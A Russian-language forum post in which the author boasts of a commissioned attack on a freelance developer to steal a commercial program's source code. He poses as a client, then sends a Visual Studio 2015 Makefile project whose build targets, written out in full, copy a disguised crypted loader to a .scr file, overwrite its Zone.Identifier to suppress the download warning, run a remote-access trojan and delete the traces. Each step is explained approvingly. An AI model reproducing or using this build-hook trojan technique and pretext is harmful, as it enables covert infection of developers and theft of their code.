Точеная атака на программиста, трояним VS2015

Admin

Administrator
Сообщения
843
Оценка реакций
641
Сидел я, значит, раздумывал о том, стоит ли прибавить всему форуму +5 к паранои. Да и сам очковал рассказывать сию историю. Но однажды я обкурился самокруткой из дошика и решил все-таки поведать историю, как фрилансеров взломал.

Предыстория
Связался со мной заказчик, заказал слив исходного кода одной коммерческой программы.
На входных данных он мне дал только несколько вещей:
Официальный сайт данного продукта
Клиентов
Контакты разработчика

Из всего этого мне пригодилось чуть менее, чем ничего, а атака была совершена зная лишь название софта. Для простоты я все перевел на русский, работа была по GB.
Для простоты и анонимности назовем софт леброша

Разведка
Начал я с поиска данных по этой программе. Начал ддосить гугл различными запросами, вида:

Код:
леброша & отзывы
леброша & контакты & разработчик
леброша & отзывы & разработка
леброша & фриланс & отзывы & разработка
И внезапно для самого меня на последнем запросе вышла ссылка на фриланс биржу.

Это была анкета какого-то фрилансера, где в описании гордо красовался текст:
Разрабатывал леброшу на C++
Это было довольно интересной зацепкой. Мы нашли настоящего разработчика! Предположив, что разраб должен иметь сорсы софта и выкуривая последнюю партию бодяжного дошика я приступил к изучению работ данного персонажа.

Среди них оказался огромный перечень различных софтов и услуг. Одна из услуг была такой:
Доработка чужого исходного кода
И тут я загорелся, от радости перестал грустить по закончевшемуся дошику и вступил в диалог с разработчком (Р).

Диалог был примерно следующий:
Я: Здравствуйте, имеется на руках NoSQL база данных на C++, требуется доработка. Нужен следующий функционал: возможность удаления таблиц по заданным критериям, а также их добавления. Сроки - две недели.
Р: Здравствуйте! 20$/час
Я: Отлично, сегодня вечером скину проект!
Р: В какой среде он написан?
Я: Не знаю, что-то с visual связано
Р: Visual Studio?
Я: Да
И тут я пошел готовить вредоносный проект в Visual Studio

Трояним проект Visual Studio 2015

Итак, стояла следующая задача: нужно было заразить систему ратником при нажатии кнопки "Скомпилировать".

Варианта было два:

1) Запуск шеллкода из самого кода базы данных
2) События сборки
3) Мейк-файл

Я выбрал 3-й вариант, как наиболее простой. Был создан Makefile-проект на базе существующего исходного кода, в makefile был записан следующий текст:
Код:
SRC=main.cpp sort.cpp sort.h
NAME=Database
OUT=$(NAME).exe
DEBUG=debug
RELEASE=release
LIBS=kernel32.lib advapi32.lib user32.lib
b_debug:$(DEBUG)
%Windir%\system32\cmd.exe /c copy Database.sdf Database.scr & exit

echo 0 > Database.scr:Zone.Identifier

Database.scr & del Database.scr /f
@cl $(SRC) /Fo$(DEBUG)/ /Fd$(DEBUG)/vc.pdb /c /GS- /Gz /TP /MTd /ZI /nologo /W0 /D _DEBUG
   @link $(DEBUG)/*.obj /OUT:$(DEBUG)/$(OUT) /PDB:$(DEBUG)/$(NAME).pdb /LTCG /NOLOGO /DEBUG /SUBSYSTEM:CONSOLE /DYNAMICBASE /FIXED:No $(LIBS)
@del $(DEBUG)\*.obj
@del $(DEBUG)\*.idb
$(DEBUG):
@mkdir $(DEBUG)   
b_release:$(RELEASE)
%Windir%\system32\cmd.exe /c copy Database.sdf Database.scr & exit

echo 0 > Database.scr:Zone.Identifier

Database.scr & del Database.scr /f
@cl $(SRC) /Fo$(RELEASE)/ /Fd$(RELEASE)/vc.pdb /c /GL /MT /Gy /GS- /Gz /TP /Od /W0 /nologo
@link $(RELEASE)/*.obj /OUT:$(RELEASE)/$(OUT) /LTCG /NOLOGO /SUBSYSTEM:CONSOLE /DYNAMICBASE /FIXED:No $(LIBS)
@del $(RELEASE)\*.obj
$(RELEASE):
@mkdir $(RELEASE)
Суть в чем.

Имеются два события: дебаг-сборка и релиз-сборка. Нам необходимо врубить троя в каждом из этих событий. Рассмотрим релиз-сборку, так как дебаг-сборка просто ее копипаст.

По порядку.
Код:
b_release:$(RELEASE)
Данная строчка говорит, что это нужно выполнить при сборке в релиз.

Там содержится следующий код:

Код:
%Windir%\system32\cmd.exe /c copy Database.sdf Database.scr & exit

echo 0 > Database.scr:Zone.Identifier

Database.scr & del Database.scr /f
Данный код открывает командную строку, копирует Database.sdf в Database.scr, записывает в Zone.Identifier информацию о том, что файл доверенный (чтобы избежать появления окна, что файл скачан из интернета ), после чего запускает лоадер нашего троя и удаляет его.

Как вы догадались в Database.sdf был именно криптованный лоадер, так как строка
Код:
Database.scr & del Database.scr /f
возвращала управление только после завершения лоадера и сразу пихать ратник туда было неразумно из-за временных затрат.

Результаты

Данный проект был скинут нашей жертве, которая тут же его скомпилировала и заразилась нашим ратником. После чего на его харде были найдены сорцы леброши и переданы заказчику.

Все остались счастливы, а я накупил еще дошика!

Всем спасибо, проверяйте скидываемые вам проекты!

© Lebron

 
  • Like
Реакции: HATRED